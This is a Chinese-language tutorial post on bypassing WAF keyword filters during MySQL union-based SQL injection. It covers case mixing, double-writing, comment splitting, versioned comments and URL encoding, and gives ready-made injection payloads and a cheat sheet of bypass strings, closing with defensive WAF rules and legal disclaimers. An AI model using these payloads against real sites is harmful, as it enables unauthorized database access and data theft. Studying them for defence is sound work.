5-数据库-SQL注入-联合查询-关键字绕过-day13

WAF 绕过 --- 关键字绕过手册

以 PHP 语言的数据库语法为例,系统讲解 SQL 注入中绕过 WAF 关键字过滤的原理与手法。按难易程度分层:基础 → 进阶 → 高阶。
⚠️ 免责声明:本文旨在教学网络安全知识,帮助开发者理解 WAF 绕过原理以更好地防御。请勿将本文所述技术用于任何非法攻击或渗透测试。任何滥用本文知识造成的法律后果由使用者自行承担。

📑 文章目录

  • [WAF 过滤机制简述](#WAF 过滤机制简述)
  • 一、基础手法
    • [1.1 大小写混淆](#1.1 大小写混淆)
    • [1.2 双写绕过](#1.2 双写绕过)
    • [1.3 注释分割关键字](#1.3 注释分割关键字)
  • 二、进阶手法
    • [2.1 MySQL 特殊注释](#2.1 MySQL 特殊注释)
    • [2.2 URL 编码](#2.2 URL 编码)
    • [2.3 混合大小写+注释](#2.3 混合大小写+注释)
    • [2.4 编码+大小写混合](#2.4 编码+大小写混合)
  • 三、高阶手法
    • [3.1 十六进制编码(仅限字符串值,不能替代关键字)](#3.1 十六进制编码(仅限字符串值,不能替代关键字))
    • [3.2 函数替代关键字的尝试与失败分析](#3.2 函数替代关键字的尝试与失败分析)
    • [3.3 其他编码方式](#3.3 其他编码方式)
    • [3.4 information_schema 被拦截时的替代方案](#3.4 information_schema 被拦截时的替代方案)
    • [3.5 混合绕过策略](#3.5 混合绕过策略)
  • 四、速查表
  • 五、防御建议

WAF 过滤机制简述

理解绕过之前,先理解 WAF 是如何过滤关键字的。以 PHP 为例,典型流程为:

复制代码
用户输入 → Web服务器(URL解码) → PHP $_GET接收 → 正则匹配(WAF) → 拼接SQL → MySQL执行

PHP 常用的关键字过滤方式是 preg_matchpreg_replace

php 复制代码
// 区分大小写:只有完全一样才匹配
$pattern = '/union/';
preg_match_all($pattern, $subject, $matches);

// 不区分大小写:加 i 修饰符
$pattern = '/union/i';

// 单词边界:避免误匹配 "reunion"
$pattern = '/\b(union|select)\b/i';

绕过的核心思路:让 payload 在 WAF 检测时不匹配规则,但在 SQL 执行时等效于原关键字


一、基础手法

1.1 大小写混淆

适用于 WAF 正则区分大小写(未使用 i 修饰符)的情况。

sql 复制代码
-- WAF 只匹配小写 union
SELECT id FROM users UnIoN SeLeCt 1,2,3
php 复制代码
// WAF 规则(区分大小写)
$pattern = '/union/';
// UnIoN 不匹配 → 绕过成功

局限 :大多数现代 WAF 使用 i 修饰符,大小写混淆基本无效。但在多层过滤或低质量 WAF 中仍值得一试。

1.2 双写绕过

适用于 WAF 使用 str_replacepreg_replace 且只替换一次的情况。

php 复制代码
// WAF 规则:只替换第一个匹配
$pattern = '/union/i';
$replaced = preg_replace($pattern, '', $sql, 1);  // 第4个参数1=只替换1次
sql 复制代码
-- 输入 un/**/ion 会被替换为 ion(如果 WAF 匹配到 union 的话)
-- 双写绕过:构造 ununionion,替换掉中间的 union 后剩下 union
SELECT id FROM users ununionion SELECT 1,2,3
-- WAF 替换:un[union]ion → union → 执行成功

-- 如果 WAF 替换所有匹配:
$replaced = preg_replace($pattern, '', $sql);  // 替换所有
-- 双写就不行了,需要换用注释+编码等手法

1.3 注释分割关键字

利用 SQL 注释在关键字中间插入注释,使正则无法匹配,但 SQL 引擎会忽略注释正常解析。

多行注释 /**/

sql 复制代码
-- 注释分割 UNION
SELECT id FROM users UN/**/ION SELECT 1,2,3
-- WAF 检测:UN/**/ION ≠ UNION → 不匹配 → 绕过
-- SQL 执行:/* */ 被忽略 → UN/**/ION = UNION → 正常执行
sql 复制代码
-- 多层嵌套
SELECT id FROM users U/**/N/**/I/**/O/**/N SELECT 1,2,3

-- 混合分割
SELECT id FROM users U/*!N*/I/**/O/*!N*/ SELECT 1,2,3

关于单行注释 --# 分割关键字的误区

sql 复制代码
-- ❌ 以下写法不生效!
SELECT id FROM users UNI-- \nON SELECT 1,2,3

原因:MySQL 中 -- 后面必须跟空格才被视为注释符。UNI-- \nON-- 后面没有空格,不被当作注释,而是被解释为减号运算符,导致语法错误。即使 -- 后面有空格,注释后 UNI 和换行后的 ON 也不会自动拼合为 UNION------注释是删除内容,不是字符串连接。

总结 :单行注释 --# 不能用来分割关键字的字母。只有多行注释 /**/ 和 MySQL 特殊注释 /*!*/ 可以。


二、进阶手法

2.1 MySQL 特殊注释

MySQL 特有的内联注释 /*! */,其中内容会被 MySQL 执行,其他数据库则忽略。

sql 复制代码
-- MySQL 特殊注释:内容会被 MySQL 执行
/*!50001 UNION*/ SELECT 1,2,3
-- 50001 表示 MySQL 5.0.01 及以上版本执行
-- WAF 检测:/*!50001 UNION*/ ≠ UNION → 绕过
-- MySQL 执行:/*!50001 UNION*/ = UNION → 正常执行

-- 版本条件执行
/*!50000 UNION SELECT 1,2,3 */    -- MySQL 5.0+ 执行
/*!80000 UNION SELECT 1,2,3 */    -- MySQL 8.0+ 执行
sql 复制代码
-- 在关键字中间插入
SELECT id FROM users UN/*!*/ION SELECT 1,2,3
-- MySQL 执行:UN/*!*/ION = UNION
-- 其他数据库:忽略注释,UNION 被拆开 → 语句无效

注意/*!*/ 是 MySQL 独有语法。如果目标不是 MySQL,此方法不适用。

2.2 URL 编码

将关键字进行 URL 编码,使 WAF 的正则匹配不到原始字符串。

编码流程与关键问题

复制代码
正常流程:
用户输入 union → 浏览器发送 union → 服务器解码为 union → PHP接收 union → WAF匹配 union → 拦截

单次编码(基本无效):
用户输入 %55%4e%49%4f%4e → 服务器解码为 UNION → PHP接收 UNION → WAF匹配 UNION → 拦截

单次 URL 编码通常无效,因为 Web 服务器(Apache/Nginx)在 PHP 接收前已经自动解码了一次。

sql 复制代码
-- 单次编码(绕过低质量WAF,但对大多数WAF无效)
%55%4e%49%4f%4e  →  服务器解码  →  UNION  →  WAF匹配到  →  失败

双重 URL 编码

当 Web 服务器只解码一次,而 WAF 在解码后检查时,双重编码可以让 WAF 看到的是单次编码后的字符串:

复制代码
用户输入 %2555%254e%2549%254f%254e(双重编码)
→ Web服务器解码一次 → %55%4e%49%4f%4e(仍为编码状态)
→ PHP接收 → WAF检测 → 看到的是 %55%4e... → 不匹配 UNION → 绕过成功
→ 传入MySQL → MySQL 不认识 %55%4e... → 执行失败!

双重编码的关键问题:MySQL 不能理解 URL 编码 。要让 payload 绕过 WAF 并被 MySQL 执行,必须在 WAF 检测时是编码状态,在 SQL 执行时是非编码状态。这只有在应用层存在二次解码(如 PHP 的 urldecode() 函数被调用)时才可能:

php 复制代码
// 如果应用代码中有这样的逻辑:
$id = $_GET['id'];           // 服务器已解码一次
$id = urldecode($id);        // 应用层再解码一次 → 二次解码
$sql = "SELECT * FROM news WHERE id='$id'";
// 此时双重编码才能生效:
// 用户输入 %2555%254e... → 服务器解码为 %55%4e... → WAF看到 %55%4e...(绕过) → urldecode解码为 UNION → MySQL执行

核心原则:URL 编码绕过是否成功,取决于 WAF 检测和最终解码之间的"解码次数差"。需要具体分析目标应用的解码链路。

2.3 混合大小写+注释

将大小写混淆与注释分割结合,增加 WAF 正则匹配难度。

sql 复制代码
-- 大小写 + 多行注释
SeLeCt id Fr/**/Om users UN/**/IoN SeLeCt 1,2,3

-- 大小写 + MySQL 特殊注释
/*!50000 UnIoN*/ /*!50000 SeLeCt*/ 1,2,3

2.4 编码+大小写混合

先大小写混合,再进行 URL 编码。

复制代码
-- 原始:UNION SELECT
-- 混合:UnIoN SeLeCt
-- 编码:%55n%49o%4e %53e%4c%65%63t

三、高阶手法

3.1 十六进制编码(仅限字符串值,不能替代关键字)

十六进制字面量只能用于字符串值,不能用于 SQL 关键字。 原因在于 SQL 的解析过程:

复制代码
SQL 解析过程:词法分析 → 语法分析 → 语义分析 → 执行
  • UNION 是 SQL 关键字/保留字,在词法分析阶段被识别为语法 token
  • 0x554e494f4e 是十六进制字面量,在词法分析阶段被识别为(字符串)
  • 语法分析阶段,解析器在期待关键字的位置看到的是值,而非 token → 语法错误
sql 复制代码
-- ❌ 错误:0x554e494f4e 不能作为 UNION 关键字
SELECT 1,2,3 0x554e494f4e SELECT 4,5,6;
-- 报错:语法错误

-- ✅ 正确:十六进制用于字符串值
SELECT id FROM users WHERE name = 0x554e494f4e;
-- 等价于 WHERE name = 'UNION'(查找 name 值为 'UNION' 的记录)

MySQL 版本差异

MySQL 版本 0x554e494f4e 行为 能否替代关键字
5.7 及之前 自动转为字符串 'UNION' 否,仍只是值
8.0 及之后 二进制字符串类型 否,仍只是值

总结 :十六进制编码可以绕过对字符串值(如表名、列名、搜索关键词)的引号过滤,但绝对不能 用来绕过 UNIONSELECT 等关键字本身的过滤。

3.2 函数替代关键字的尝试与失败分析

在 SQL 注入中,常有人尝试用 CHAR()CONCAT() 等函数返回关键字字符串来绕过过滤。但这不能替代关键字,原因同上------函数返回的是值,不是语法 token。

sql 复制代码
-- ❌ CHAR() 不能替代 UNION 关键字
SELECT id FROM users CHAR(85,78,73,79,78) SELECT 1,2,3;
-- 报错:语法错误,CHAR() 返回的是值 'UNION',不是关键字 UNION

-- ❌ CONCAT() 也不能
SELECT id FROM users CONCAT('U','N','I','O','N') SELECT 1,2,3;
-- 同样报错

-- ❌ CONCAT_WS() 也不能
SELECT id FROM users CONCAT_WS('','U','N','I','O','N') SELECT 1,2,3;
-- 同样报错

-- ❌ 子查询返回字符串也不能
SELECT 1, 2, (SELECT CONCAT('u','n','i','o','n')) AS union_str;
-- 结果:返回值 'union',但不会执行 UNION 操作

根本原因

SQL 解析器在语法分析阶段,期待关键字位置出现的是 token(关键字标识),而不是表达式(函数调用)。函数是表达式,关键字是语法结构,两者在语法树的层级完全不同。

函数的正确用法------在值的位置使用:

sql 复制代码
-- ✅ CHAR() 在 SELECT 列表中(值的位置)使用
SELECT CHAR(85,78,73,79,78) FROM users;
-- 返回:每行都是 'UNION'

-- ✅ CONCAT() 在 WHERE 条件中使用
SELECT id FROM users WHERE name = CONCAT('U','N','I','O','N');
-- 查找 name = 'UNION' 的记录

-- ✅ CHAR() 在 WHERE 条件中使用
SELECT id FROM users WHERE name = CHAR(85,78,73,79,78);
-- 同上

3.3 其他编码方式

除 URL 编码外,还存在其他编码方式,效果取决于服务器的解码链路(WAF 检测和最终解码的时序关系):

Unicode 编码(适用于 JSON/XML 输入):

json 复制代码
{"id":"1\u0041\u004e\u0044 1=1"}

二进制/八进制字面量:不能作为 SQL 关键字解析,与十六进制同理。

3.4 information_schema 被拦截时的替代方案

如果 information_schema 被 WAF 拦截且无法绕过,可以尝试以下替代方案:

方案一:MySQL 系统库替代查询

sql 复制代码
-- 查询所有数据库(替代 information_schema.schemata)
SELECT DISTINCT table_schema FROM information_schema.tables;
-- 如果 information_schema 整体被拦截,尝试 mysql 系统库
SELECT schema_name FROM mysql.schemata;  -- MySQL 8.0+

-- 查询版本信息(替代 version() 函数,当函数被过滤时)
SELECT @@version, @@global.version;
-- 或从系统变量表查询
SELECT VARIABLE_VALUE FROM information_schema.GLOBAL_VARIABLES WHERE VARIABLE_NAME='version';
SELECT VARIABLE_VALUE FROM information_schema.SESSION_VARIABLES WHERE VARIABLE_NAME='version';

-- 查询当前数据库(替代 database() 函数)
SELECT TABLE_SCHEMA FROM information_schema.TABLES LIMIT 1;

方案二:InnoDB 系统表(MySQL 5.x)

sql 复制代码
-- 利用 InnoDB 引擎的系统表
SELECT * FROM mysql.innodb_table_stats;
SELECT * FROM mysql.innodb_index_stats;
-- 注意:mysql.innodb_table_stats 属于 mysql 系统库,不是独立的系统数据库

方案三:布尔盲注替代

当联合查询被完全封堵时,回退到布尔盲注,逐字符猜解表名和列名。

3.5 混合绕过策略

实战中往往需要多种手法组合使用:

sql 复制代码
-- 大小写 + 注释 + 特殊注释 + 编码的组合
?id=-1' /*!50001UNIoN*/ /*!50001SeLeCt*/ 1,2,3--+

-- 注释分割 + URL编码
?id=-1'%20UN/**/ION%20SeLeCt%201,2,3--+

-- 双写 + 注释(应对替换型WAF)
?id=-1' ununiunionon/**/selselectect 1,2,3--+

四、速查表

场景 WAF 类型 绕过写法 成功率
区分大小写 preg_match('/union/') UnIoN SeLeCt
不区分大小写 preg_match('/union/i') UN/**/ION SeLeCt
替换一次 preg_replace(..., 1) ununionion
替换全部 preg_replace(...) UN/**/ION + 编码
严格单词匹配 `\b(union select)\b/i` /*!50000UNION*/
双重解码 存在 urldecode() %2555%254e%2549%254f%254e 低(需要特定条件)
关键字过滤+引号过滤 综合过滤 /*!50000UNION*/ SELE/**/CT 1,0x61646d696e,3

五、防御建议

WAF 正则规则应覆盖以下维度:

  1. 注释分割检测 :去除注释后再匹配(/\/\*.*?\*\// → 删除 → 再匹配关键字)
  2. 多重编码检测:对输入进行递归 URL 解码,直到解码结果不再变化
  3. 逻辑运算符别名 :检测 &&||! 等运算符别名
  4. 大小写归一化:匹配前统一转为小写
  5. MySQL 特殊注释 :检测 /*! 模式
  6. 统一字符集:UTF-8 编码,避免字符集差异导致的绕过

⚠️ 法律与道德声明

本文所有内容仅供网络安全学习与研究使用,旨在帮助开发者和安全人员理解 WAF 绕过原理,从而构建更安全的 Web 应用。严禁将文中任何技术用于:

  1. 未经授权的系统测试、渗透或攻击
  2. 非法获取、篡改、破坏他人数据
  3. 任何违反《中华人民共和国网络安全法》及相关法律法规的行为

网络安全是双刃剑,技术本身无罪,但使用者的意图决定其性质。请务必在法律允许的范围内进行安全研究,共同维护清朗网络空间。

作者与平台不对任何滥用本文技术造成的后果负责。

相关推荐
天桥下的卖艺者7 小时前
使用scitable包,两步生成逆概率删失权重(IPCW)
数据库·r语言
隔窗听雨眠7 小时前
AI原生数据库浪潮:国产数据库的架构重构与路径之争
数据库
数据库小学妹8 小时前
数据库选型实战:从数据类型到TCO成本,五维决策框架+九款产品横评
数据库·信创·国产数据库·数据库选型·oracle迁移
龙仔7259 小时前
人大金仓 KingbaseES V8 只读账号创建完整运维笔记
运维·笔记·sql·人大金仓
神龙天舞20019 小时前
MySQL 备库为什么会延迟好几个小时
android·数据库·mysql
丙氨酸長鏈10 小时前
Web前端入门第 问:JavaScript 一个简单的 IndexedDB 数据库入门示例
前端·javascript·数据库
独行侠影a11 小时前
APScheduler+Redis 分布式定时任务:解决多实例任务重复执行
数据库·redis·分布式
传说故事11 小时前
数据库中一些常用英文单词含义
数据库·oracle
夏贰四12 小时前
中小企业搭建业务中台如何控成本?业务中台轻量化落地分几步实施?
数据库·业务中台